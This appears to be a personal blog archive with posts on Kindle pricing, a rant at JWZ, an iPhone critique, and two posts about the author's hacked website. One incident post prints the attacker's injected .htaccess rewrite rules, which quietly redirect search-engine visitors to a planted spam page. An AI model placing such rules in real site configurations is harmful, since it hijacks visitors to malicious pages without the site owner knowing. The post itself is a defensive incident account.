Reinvention

This blog has been in something of a hiatus. But I’ve decided that I do need somewhere to leave notes and HOWTOs and so on.

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Kindle Pricing

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New paperback, £6.49 – kindle edition, £10.40

What? I know the arguments about that the authors need to eat and not wanting to breed another generation of torrent-wielding pirates, but honestly, why such a ridiculous mark-up.

There is no scarcity value in eBooks. Why should a physical copy, posted to my house cost over a third LESS than a version whose couple of hundred Kb wouldn’t even raise a blip on the most frugal of data plans?

The book publishers need to sort themselves out. I love the Kindle, the flexibility, the convenience, the reduced need for shelves or guilt over once-read novels taking up house-space.

If there’s an attempt at justification, I’ll happily listen. I’m not saying that I think eBooks should be pennies in the pound, I want to pay a reasonable amount to reward the author for their effort and ensure repetition. I just can’t see a valid reason for a premium – especially such a hefty one – over the paperback price.

Stick to your day job

There are some cool types from before the web took over the internet who are, or at least were, known purely by their TLAs. Y’know, like ESR or RMS.

So for someone with a rather illustrious history, Mr JWZ is peculiarly myopic (a talent given he even has a law).

In a recent post he performed a proud blogging act: spouting off about something about which he thinks he knows a lot about, while claiming he knows he little and proving he knows next to nothing.

I’m not about to write a point-by-point rebuttal because a) he won’t see it, b) he won’t react to it and c) he’d only snipe in another update and lump my reaction with others if either a or b weren’t true.

He’s just almost exclusively – and spectacularly – wrong. The fact that I’m exactly the person he cites in point 1 (shorts, clipped shoes, messenger bag and fixie) is exactly the point. By saying “you are not the person to whom this advice is addressed” is implicitly saying “your advice is worthless”.

Which is ironic.

[tags]bikes, cycling, bad advice, jwz [/tags]

Apache Criminals

So the problem is solved. Huzzah and hoorah.

But it’s a weird one. Someone pointed out that, after a bit of packet sniffing, it looked like the dodgy pages actually originated from the genuine IP address. So while the first reaction of any technologist is to blame everyone and anyone else maybe, just maybe, that was a little hasty.

So, out comes PuTTY, and a quick scan of the root directory for that domain later and … that’s odd. The .htaccess file has been changed way more recently than I might have expected (and it’s a little bigger).

8 -rw-r--r-- 1 lowfield users 4961 Oct 24 00:46 .htaccess

Odd, though, because the permissions should make it that it’s only me that can write to that file (644).

But there it is, hidden away padded by loads of whitespace:

# a0b4df006e02184c60dbf503e71c87ad
RewriteEngine On
RewriteCond %{HTTP_REFERER} ^http://([a-z0-9_-]+.)*(google|msn|yahoo|live|ask|dogpile|mywebsearch|yandex|rambler|aport|mail|gogo|poisk|alltheweb|fireball|freenet|abacho|wanadoo|free|club-internet|aliceadsl|alice|skynet|terra|ya|orange|clix|terravista|gratis-ting|suomi24). [NC]
RewriteCond %{HTTP_REFERER} [?&](q|query|qs|searchfor|search_for|w|p|r|key|keywords|search_string|search_word|buscar|text|words|su|qt|rdata)=
RewriteCond %{HTTP_REFERER} ![?&](q|query|qs|searchfor|search_for|w|p|r|key|keywords|search_string|search_word|buscar|text|words|su|qt|rdata)=[^&]+(%3A|%22)
RewriteCond %{TIME_SEC} <54
RewriteRule ^.*$ /ctte/elire/t.htm [L]
# a995d2cc661fa72452472e9554b5520c

For the benefit of those not fluent in the arcane ways of RegExp and the Apache RewriteEngine, this was basically checking to see if you’d come from a search engine and, if you had, delivering a different page (although only in 90% of instances).

Most times when you click on a link, your browser tells the new website where you came from, known as the REFERRER tag, so this was using that to determine whether to do it. This meant that if people typed in the address, like regular users would, or used a bookmark, they would probably miss the redirection and be none the wiser.

And, to compound the ignominy, it had even written the guilty dodgy page on the local machine and hidden it in a sub-directory off the main directory. So it really was my site to blame.

Seems like I wasn’t the only one either, this is a very similar description and whaddya know,

DNS? No, Google (or Yahoo, or Ask) …

So it all started with a handful of users complaining that they were unable to access Vesta web page at www.vrc.org.uk, saying they were seeing some dodgy spam site. A few of these complaints arrived. I couldn’t replicate the situation at work, at home or through a couple of other places I was attempting it.

Obviously my first thought was some poisoned DNS somewhere along the line. This seemed to be confirmed when someone noticed that if you visited vrc.org.uk instead, this worked. (Which it should do – they both point at the same address.) Maybe a dodgy DNS server had been repointed to a dodgy page for some users.

I contacted my hosting company‘s support who were helpful, pointing out their the domain’s nameservers were still fine and that the DNS they were serving up was accurate. Maybe it was spyware, they suggested, get them to run ipconfig and maybe we could trace their DNS servers.

So there was a few days of head-scratching.

Maybe try changing the name-server to point elsewhere to flush out the net’s DNS system and then re-point it and test other domains from the hosting company, suggested people. Nothing illuminating was coming from people who sent me ipconfig output. No-one had corrupted etc/hosts files either so it wasn’t a localised Trojan hijacking their browser.

Then a penny dropped.

  1. Go to Google (or Yahoo or, apparently, Ask.com).
  2. Search for the phrase Scullers Head. You should see quite near the top the result for either http://www.vrc.org.uk/sh/ or http://www.vrc.org.uk/scullers_head/.
  3. If you click on that link you might well find a page that is not what you expect. It’ll be a black background with the search term in a bordered box and various dodgy links. But the URL in the address bar looks accurate.
  4. Hit the back button, if you’re on Google, click on the Similar Pages link
  5. Follow the top link (which is current to the main Vesta page)
  6. The same black background and dodgy links, but with "related:www.vrc.org.uk/sh" in the bordered box at the top.

So now what? If you type in the address (so long as you’ve flushed the cache) you’ll get to the correct site. If you type in the address without the www. at the front, you’ll definitely get to the site …. but if you come via $SEARCH_ENGINE you’ll get spoofed.

Now, if you look at the various page details there are many references to the IP address 67.18.150.90. And if you search for references to this, there’s one other page complaining of similar behaviour.

So, I’m at a loss. Anyone got any ideas?

Update: This problem has now been resolved.
[tags]DNS, Google, spoof, security[/tags]

The iPhone worries me

I’m not an Apple fanboy per se, but I have a PowerMac G4 laptop which is an integral part of my home network. I have an iPod (actually there are three in the house), I use iTunes (albeit my iPod syncs with my Windows machine ‘cos its hard drive is bigger – although I am trying to work out how to host the library on a networked drive so I can use the Mac for iTunes sync-ing).

I’m also a gadget fiend and sometime early adopter. I’m Apple’s target audience, a convert, in the choir ready to be preached at.

But I probably won’t be buying an iPhone (if that’s what they end up calling it), even when it eventually makes it on to these shores.

Don’t get me wrong, it’s a beautiful device. A real exercise in nicely done HCI. There are just too many niggles which have been wondering if this could just be the start of the next slide in the fortunes of AAPL.

Let’s start with the obvious usability issues: batteries, screens and personal data.

The battery life is rumoured to be dire: just five hours of talk and 16 hours of audio playback. There had been rumours of two batteries (at least according to Kevin Rose), but that wasn’t mentioned by Lord Jobs. Sharing a battery is going to mean that if you’re a power iPod user you’re going to struggle to make it from one end of the day to the other. I listen to my nano commuting, at work, possibly exercising, then travelling home again. I have a power cord at work. 8 months old and my phone barely makes it through the day either. If I forget to charge either device I’m basically stuffed. I expect more of newer generation items.

And to make it worse, it’s not user-replacable. Every phone on the market today has learned that lesson!

The touch-screen has some fabulous features. The multi-touch zoom in and out, the proximity sensor to disable it are just two. I can understand the stylus free aspect – my Palm suffers, mainly in the oft-used areas. If you play any games you can see the moves you often make. That said, touch-screens rarely live up to potential. It’s not just fat fingers – but have you tried to type on a touch screen keypad? This this is not going to be an entry device.

That’s not even covering the accessibility of a touch-screen only device. I’m not even talking about those with partial sight or bad near vision – what about when it’s in a pocket or a bag or on the seat next to me while driving? Next track or drop the call to voice mail is acheivable with the iPod or my phone without my needing to look at it.

The killer for me for my phone is that I must be able to synchronise it with my home machine: contacts, diary, to-do lists, even passwords and notes. This has to be seamless and easy – and with bluetooth it is. My Mac’s iSync connects with my Palm and phone over Bluetooth trivially and makes backing up and updating easy. So why has the iPhone got Bluetooth and WiFi yet can use neither for synchronising? That is madness. I’m sure that this will be reviewed between now and release. It has to be.

These three are enough on their own, but there are more:

  • The data transfer is not going to be 3G. Sure, EDGE’s 2.5G rate of 100Kb/s is decent – but not everyone can get that. Not everyone can get HSDPA’s 1.8Mb/s but wouldn’t 3G (for video calls and MMS)
    have made more sense?
  • Push email offers massive benefits to the server – you can tailor precisely what you send on, so score big wins on compression of attachments. This functionality is less achievable with
    the pull for IMAP. Your data plan might be unlimited but you watch this suddenly get reviewed when you start maintaining your IMAP mailbox online with your iPhone.
  • The exclusivity is a necessity for the voicemail to be implemented – but that’s not going to win many friends. There’s no talk yet of who’s going to be involved in the UK, but if it’s not
    my carrier, then will I want to move?
  • There’s no video calling!
  • There’s only 8Gb so any video I watch is going to be really short!
  • How much? $600 for 2 year plan, with something like a data plan of $80 a month? You have got to be kidding.
  • Camera. Why? 2MP isn’t bad, but there are phones out there with 3.2 (and rising). Either do it will or don’t do it at all – that is an ethos found throughout the Apple line, why not here?
  • No user-installable apps and widgets? So it’s not really OS X, then.

For all this, it is a lovely looking device, but will it be a better phone than, say, the Nokia N73 which is available now? Or LG’s KE850, announced at CES. Will it be a better audio player than even their own nano, or video player better than their own iPod? Is it a better PDA than my Palm (or the smartphone)? If the best of breed devices are really all in the same box, then woot to the max. But they aren’t.

I don’t need my phone to be a camera when the pictures it takes are rubbish. I don’t need my phone to be a walkman if it can’t play nice with my jukebox application (ok, so the iPhone wins this point). I don’t need my phone to be a PDA if I can’t quickly input notes and edit data. The widescreen, touch controls will be awesome on the video iPod, so let’s hope the technology does spread through their whole product line.

The iPhone that eventually gets delivered will be very different to the one jobs demonstrated. If the muckup with Cisco and the name proved anything it was that they’ve not finished the specification and were rushing to complete enough to show off. So while you’ve got to admire their secrecy, you have to wonder about their direction.

Apple is increasingly aiming at the design conscious, cash-rich, under-30s and while this is a strong market, it is fickle. But if you make a product and do it well you will succeed. Apple’s recent track record is strong on this, but let us not forget that the iPod only really took off with iTunes became available for Windows. The first batches of the Intel MacBooks had major fabrication issues. The first gen shuffle wasn’t flying off the shelves.

The iPhone is going to be a success, but without some critical changes it won’t change the world in the way the iPod has. There’s too much not going right for it to win through with what it has hit out of the park.

Update: and, of course, the Tao of Mac goes into more detail, hits more nails and is generally more on the ball than I was aware you could be.
[tags]apple, iphone, bandwagon, iTunes, pda[/tags]